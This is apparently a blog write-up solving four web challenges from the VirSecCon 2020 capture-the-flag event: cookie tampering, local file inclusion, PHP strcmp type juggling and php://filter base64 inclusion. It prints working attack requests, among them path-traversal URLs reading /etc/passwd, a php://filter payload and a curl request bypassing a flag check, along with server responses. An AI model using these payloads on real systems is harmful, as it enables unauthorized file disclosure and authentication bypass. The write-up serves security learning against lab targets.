Table of Contents
Welcome; in the last post, we discussed some of the forensic challenges from the VirSecCon 2020 CTF. In this article, we will check out a few of the web challenges from this event!
Let’s get started!
Challenge: Countdown

First up on our list is ‘Countdown‘.
We’ll begin by navigating to the URL of the challenge, which returns the following web page:

Let’s take a look at the source code of the web page we are served:
<body>
<h1> WARNING: <br> A BOMB IS GOING TO GO OFF <br> IN THIS HOUSEHOLD </h1>
<h2> ONLY YOU <br>CAN SAVE <br>US. </h2>
<h3><a href="defuse.php"> CLICK HERE <br>TO DEFUSE<BR> THE BOMB. </a></h3>
</body>
</html>
The source code reveals the presence of a PHP script named ‘defuse.php‘ embedded within an anchor tag. We can see that this script will be executed when a user clicks on the “CLICK HERE TO DEFUSE THE BOMB” text.
A good practice when attacking any web application is interacting with the application as a standard user would. This aids us in mapping out the application’s functionality.
With that in mind, let’s see what happens when we click to defuse the bomb:

Oh no! It looks like we were too slow when defusing our bomb! However, we can use a proxy to help us out.
Let’s fire up Burp Suite and route our browser through the proxy:

Analyzing the contents of our HTTP GET request in Burp, reveals that the ‘detonate_time‘ cookie on the web server is responsible for how much time we have to defuse the bomb.
If we modify the value of the ‘detonate_time‘ cookie in our HTTP GET request before sending it off to the server, we may be able to disarm the bomb in time!
Let’s see what happens when edit this value in Burp and submit our cookie:
Request

Response


The server responds to our modified HTTP GET request with a new page and value for the ‘detonate_time‘ cookie. The bomb is now defused and the flag is revealed!
LLS{saving_lives_with_cookies}
Challenge: Hot Access

Our next challenge is ‘Hot Access‘.
We’ll begin by navigating to the URL of the challenge:

The web page that we are served gives us a couple key pieces of information.
Let’s see what we can infer from this:
- The description on the the web page informs us that the challenge is hosted on an Apache server. Given that the name of the challenge is ‘Hot Access’, we can reasonably deduce that our objective is to access the .htaccess file on the Apache server.
- The page also informs us that the program hosted on the web server allows us to load PHP modules and resources from the server. This suggest that we may be able to leverage this functionality to achieve local file inclusion.
With this information in mind, we will continue by enumerating the application further to understand it’s functionality and see what may be exploitable.
Let’s see what happens when we attempt to load one of the modules, we’ll start with date.php:

http://jh2i.com:50016/?m=modules/date.php
As expected, loading the date.php module from the application returns the output of the module, serving us the date on the page.
More importantly however, the URL that we utilize to access the module has a parameter titled ‘m‘. This parameter stores the information of the module location on the host, which it then passes to the module loader application on the web server.
This clearly indicates a potential local file inclusion vulnerability. Armed with this information, we’ll now try to confirm the LFI by attempting to access the /etc/passwd file on the target:
http://jh2i.com:50016/?m=../../../../../etc/passwd

Awesome, we now have confirmed local file inclusion on the host!
While attacking this target, I confirmed that local file inclusion can also be achieved by appending a ‘?=‘ to the end of the PHP file in our GET request. This is a common technique for achieving local file inclusion.
Example:
GET /?m=modules/date.php?=../../../../../../etc/passwd HTTP/1.1
Now that we have verified the presence of a local file inclusion vulnerability on the target, how can we leverage this to gain the flag?
To answer that question, let’s revisit the conclusions we arrived at earlier.
We previously surmised from the information given by the challenge, that the objective is to access the .htaccess file on the host.
Let’s see if we make use of the file inclusion vulnerability on the target to achieve this goal.
We’ll first attempt to include the .htaccess file by passing it as a value to our ‘m‘ parameter within our URL:
http://jh2i.com:50016/?m=../../../../../var/www/html/.htaccess

Our GET request is delivered to the server and the application returns the contents of the .htaccess file on the web page. However, one thing seems to be missing… our flag!
Let’s utilize our Burp proxy to investigate the HTTP traffic and find our missing flag!
Request

Response
HTTP/1.1 200 OK
Date: Sat, 04 Apr 2020 03:03:16 GMT
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
Content-Length: 1023
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<head>
<meta charset="utf-8">
<title>"Hot Access" - A Quick Module Loader</title>
<style>body{ padding: 10% 20%; } pre{ padding-left: 5%; }</style>
</head>
<body>
<h1>Hot Access</h1>
<h4>A Quick Module Loader</h4>
<hr>
<p>
<i>This small program lets you load convenient and simple PHP modules and resources from this
<b>
<u>Apache</u>
</b>
webserver. Check out what
<i>you</i>
can
<b>access</b>
!</i>
</p>
<p>The modules that are currently available are:</p>
<ul>
<li>
<a href="http://jh2i.com:50016/?m=modules/date.php">date</a>
</li>
<li>
<a href="http://jh2i.com:50016/?m=modules/time.php">time</a>
</li>
</ul>
<hr>
<br>
<p>The module is loaded as follows:</p>
<pre>
<Directory /var/www/html>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Directory /var/www/html/sshh_dont_tell_i_hid_the_flag_here>
AllowOverride All
</Directory></pre>
</body>
</html>
Ah hah! The HTML document we are served in response to our request reveals the presence of an obscure directory hosted on the web server.
<Directory /var/www/html/sshh_dont_tell_i_hid_the_flag_here>
Let’s navigate to this directory on the Apache server:

We access the flag.txt file in the directory and collect our flag!
http://jh2i.com:50016/sshh_dont_tell_i_hid_the_flag_here/flag.txt
LLS{htaccess_can_control_what_you_access}
Challenge: PHPJuggler

Next up on our list of web challenges is ‘PHPJuggler‘.
Given the name, we can assume that the challenge entails exploiting a PHP type juggling vulnerability.
As always, we will start by navigating to the URL of the challenge:

The server responds to our request with an HTML page that displays the code of the web application and asks us to submit the flag for the challenge.
Obviously, we do not know what the value of the flag is yet. So, let’s examine the code of the web application that is displayed on the page in order to understand what is going on when we submit input to the application.
PHP
<?php
include('flag.php');
if ( isset($_POST['flag']) ){
if ( strcmp(_$POST['flag'], $flag ) == 0 ){
echo("You got it! That's the correct flag! <br>");
echo($flag);
}else{
echo("NOPE! Wrong flag.");
}
echo ("<br><br>");
}
highlight_file(__FILE__);
?>
HTML
<html>
<head> <title> PHP Juggler </title> </head>
<body>
<br><br>
<form action="#" method="POST">
<p> Tell me the flag. </p>
<input type="text" name="flag">
<input type="submit" value="Submit">
</form>
</html>
Let’s examine the anatomy of this code:
if ( isset($_POST['flag']) ){
The first ‘if‘ statement in the code makes use of the isset() language construct. Language constructs are essentially the most basic units of a programming language which cannot be broken down further by the parser of that language. To keep things simple, you can think of them as functions that are baked right into the PHP engine.
This language construct will determine if a variable is considered set, meaning that the variable is declared and is not assigned to the PHP constant NULL.
In this context, the isset() language construct is evaluating the PHP variable $_POST.
The $_POST variable is an array of variable names and values sent by the HTTP POST method.
Within the array, we can see that the $_POST variable contains the value of the ‘flag‘ parameter that is delivered via our POST request.
if ( strcmp(_$POST['flag'], $flag ) == 0 ){
The next statement in the code is an ‘if…else‘ statement that utilizes the strcmp() function.
This function will compare the value of two strings.
In this case, the strcmp() function is being passed the value of the string stored in the ‘flag‘ parameter sent by our POST request, which it will compare to the value of the $flag variable.
The code then utilizes the loose comparison operator ‘==‘ to determine if the output of the strcmp() function is equal to zero.
echo("You got it! That's the correct flag! <br>");
echo($flag);
}else{
echo("NOPE! Wrong flag.");
}
echo ("<br><br>");
If the loose comparison operator concludes that both strings are equal to a value of zero, then the ‘echo‘ statement outputs the text: “You got it! That’s the correct flag!” Which is followed by another ‘echo‘ statement that will output the flag.
If the loose comparison operator determines that both strings are not equal to a value of zero, then the ‘else‘ statement invokes ‘echo‘ which will output the text: “NOPE! Wrong flag.” Followed by another ‘echo‘, containing two line breaks.
highlight_file(__FILE__);
Lastly, the PHP highlight_file() function is invoked. This function will highlight the syntax of a file passed to it, which in this context is the PHP code that is syntactically highlighted on the HTML page.
Now that we have a solid understanding of how the application operates, let’s discuss how this code is vulnerable to a PHP type juggling attack.
Firstly, we will need to define what a PHP type juggling vulnerability is.
PHP is often described as being a ‘loosely typed’ programming language. This means that you are not required to define the data type of any variable you declare. When comparing two variables containing different data types, PHP will automatically convert the data into a common, comparable type. This is what is defined as ‘type juggling’, otherwise known as ‘implicit type conversion’.
A type juggling vulnerability can arise when PHP compares two different data types by using a loose comparison operator. The loose comparison operator in PHP is ‘==‘, whereas the strict comparison operator is ‘===‘.
So what is the main difference between these operators?
The loose comparison operator will result in a boolean value of TRUE if a variable $a is equal to $b after type juggling has been performed. The strict comparison operator will only return a boolean value of TRUE if variable $a is equal to $b, and they are of the same data type.
As an attacker, we can exploit this functionality within PHP in cases where the loose operator is utilized, by submitting user input that forces PHP to perform type juggling that results in the operator returning our desired boolean value.
In the context of our challenge, we need to have the comparison operator return a boolean value of TRUE in order to receive the flag. So, how can this be achieved?
Well, examining the PHP documentation of the strcmp() function reveals that this function only has three possible return values:
Returns < 0 if str1
is less than str2
; > 0 if str1
is greater than str2
, and 0 if they are equal.
We will need the function to return a value of 0 in order for our comparison operator to result in TRUE. But wait, we only know the value of the string that we can submit, and not the value of the second. So, how do we get strcmp() to return a zero then?
We could attempt to pass a value of 0 within the ‘flag‘ parameter in our POST request, but since we know that the isset() language construct will check this value to confirm whether or not it is NULL, this won’t work. Therefore, we will need to have strcmp() return a value of 0 after the isset() language construct executes.
Luckily for us, when the strcmp() function throws an error, it returns a NULL value. Given that this function only supports strings as an acceptable data type, by submitting user input that contains a data type that cannot be accepted by the function, it should result in an error.
Armed with this knowledge, let’s see what happens when we attempt to store an array within the ‘flag‘ parameter submitted by our POST request!
Request
We submit our HTTP POST request using curl:
curl –header “Content-Type: application/x-www-form-urlencoded” –data “flag[]” http://jh2i.com:50030/#
Response
<br />
<b>Warning</b>: strcmp() expects parameter 1 to be string, array given in <b>/var/www/html/index.php</b> on line <b>6</b><br />
You got it! That's the correct flag! <br>LLS{php_dropped_the_ball_again}<br><br><code><span style="color: #000000">
<span style="color: #0000BB"><?php<br /> <br /> </span><span style="color: #007700">include(</span><span style="color: #DD0000">'flag.php'</span><span style="color: #007700">);<br /><br /> if ( isset(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'flag'</span><span style="color: #007700">]) ){<br /> if ( </span><span style="color: #0000BB">strcmp</span><span style="color: #007700">( </span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'flag'</span><span style="color: #007700">], </span><span style="color: #0000BB">$flag </span><span style="color: #007700">) == </span><span style="color: #0000BB">0 </span><span style="color: #007700">){<br /> echo(</span><span style="color: #DD0000">"You got it! That's the correct flag! <br>"</span><span style="color: #007700">);<br /> echo(</span><span style="color: #0000BB">$flag</span><span style="color: #007700">);<br /> }else{<br /> echo(</span><span style="color: #DD0000">"NOPE! Wrong flag."</span><span style="color: #007700">);<br /> }<br /> echo (</span><span style="color: #DD0000">"<br><br>"</span><span style="color: #007700">);<br /> }<br /><br /> </span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">); <br /></span><span style="color: #0000BB">?><br /></span><br /><html><br /><head> <title> PHP Juggler </title> </head><br /> <body><br /> <br><br><br /> <form action="#" method="POST"><br /> <p> Tell me the flag. </p><br /> <input type="text" name="flag"><br /> <input type="submit" value="Submit"><br /> </form><br /></html></span>
</code>
<html>
<head> <title> PHP Juggler </title> </head>
<body>
<br><br>
<form action="#" method="POST">
<p> Tell me the flag. </p>
<input type="text" name="flag">
<input type="submit" value="Submit">
</form>
</html>
The array is passed to the strcmp() function causing it to throw an error:
“Warning: strcmp() expects parameter 1 to be string, array given in /var/www/html/index.php on line 6“
Due to the error, strcmp() returns a value of 0. Therefore causing the loose comparison operator to respond with a boolean value of TRUE, granting us our flag!
LLS{php_dropped_the_ball_again}
Challenge: GLHF

The final challenge we will cover is ‘GLHF‘.
We begin by navigating to the URL of the challenge:

The web server responds with a list of hyperlinks for popular internet acronyms. Clicking on one of these links redirects us to a Google search query that defines what the selected acronym stands for.
However, we can see that one of the items on the list is titled ‘FLAG‘.
Let’s see what happens when we click on it:
http://jh2i.com:50014/index.php?page=FLAG

In contrast to the other items on the list, clicking on the ‘FLAG‘ item brings us to a new web page of the same name.
Let’s take a look at the source code of the page to see if we can find anything of value:

The comment within the source code, as well as the presence of the PHP parameter ‘page‘ being used to access the resource, indicates that the challenge is vulnerable to local file inclusion.
Let’s attempt to confirm the presence of a local file inclusion vulnerability on the web server, by attempting to access the /etc/passwd file on the host:
http://jh2i.com:50014/index.php?page=../../../../../../etc/passwd
We submit our request, yet the server doesn’t respond with anything.
Let’s make another attempt, however this time we will use a different technique to perform local file inclusion.
We craft a new request that utilizes the php://filter wrapper to Base64 encode the requested resource before it is returned to us.
This time, we will request a file that is guaranteed to be accessible on the server, the index.php file:
http://jh2i.com:50014/index.php?page=php://filter/convert.base64-encode/resource=index.php
Our request is sent to the target which then serves us the index.php file in a Base64 encoded format:
PD9waHAKCQoJCglpZiAoICEgaXNzZXQoJF9HRVRbJ3BhZ2UnXSkgKXsKCgkJZ
WNobygid2UgZ290IG5vdGhpbmchIik7CgkJaGVhZGVyKCdMb2NhdGlvbjogL2
luZGV4LnBocD9wYWdlPWhvbWUnKTsKCX0KCgllbHNlewoKCQlpbmNsdWRlK
HN0cl9yZXBsYWNlKCcucGhwJywgJycsICRfR0VUWydwYWdlJ10pIC4gIi5waHA
iICk7Cgl9Cj8+CQ==
Once decoded, we are presented with the following:
<?php
if ( ! isset($_GET['page']) ){
echo("we got nothing!");
header('Location: /index.php?page=home');
}
else{
include(str_replace('.php', '', $_GET['page']) . ".php" );
}
?>
The contents of this PHP file reveals that the str_replace() function is modifying the value of the ‘page‘ parameter in our HTTP GET request, circumventing our file inclusion.
However, we can utilize the same local file inclusion technique that we employed to obtain index.php, in order to include the ‘FLAG‘ resource on the target host.
As we previously noted, this will cause the requested resource to be Base64 encoded. Thus bypassing the str_replace() function and serving us the full contents of the requested file.
We submit our GET request to the target and receive a response from the server:
http://jh2i.com:50014/index.php?page=php://filter/convert.base64-encode/resource=FLAG
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KICAgIDxoZWFkPgogICAgICAgIDx0a
XRsZT4gUEhQTEZJWFlaIDwvdGl0bGU+CiAgICA8L2hlYWQ+CiAgICA8Ym9keT4K
CiAgICA8aDE+IEZMQUc/Pz8/IDwvaDE+CgogICAgPGgxPiBXVEYsIFBMWj8/PyA8L2gxPgoKICAgIDwhLS0gU1JZIFBIUCBMRkkgTkJEIC0tPgoKICAgIDwvYm9k
eT4KPC9odG1sPgo8P3BocAogICAgLyoKICAgIC8vIF9fX19fX19fX19fX19fX19fX19fX
19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwoKICAgICAgICAgICAg
ICAgICAgICAgICAgTExTe2xtZmFvX3BocF9maWx0ZXJzX2Z0d30KCiAgICAvLyB
fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X18KICAgICovCj8+Cg==
<!DOCTYPE html>
<html>
<head>
<title> PHPLFIXYZ </title>
</head>
<body>
<h1> FLAG???? </h1>
<h1> WTF, PLZ??? </h1>
<!-- SRY PHP LFI NBD -->
</body>
</html>
<?php
/*
// _______________________________________________________________
LLS{lmfao_php_filters_ftw}
// _______________________________________________________________
*/
?>
Success!
We exploit the local file inclusion vulnerability and we are rewarded with another flag!
LLS{lmfao_php_filters_ftw}

Conclusion
This concludes our review of the VirSecCon 2020 CTF event! These challenges were a lot of fun to solve! My thanks goes out to John Hammond for creating this excellent CTF event, as well as NahamSec, TheCyberMentor, and everyone else who banded together to make VirSecCon 2020 a reality.
Until next time,
Happy Hacking!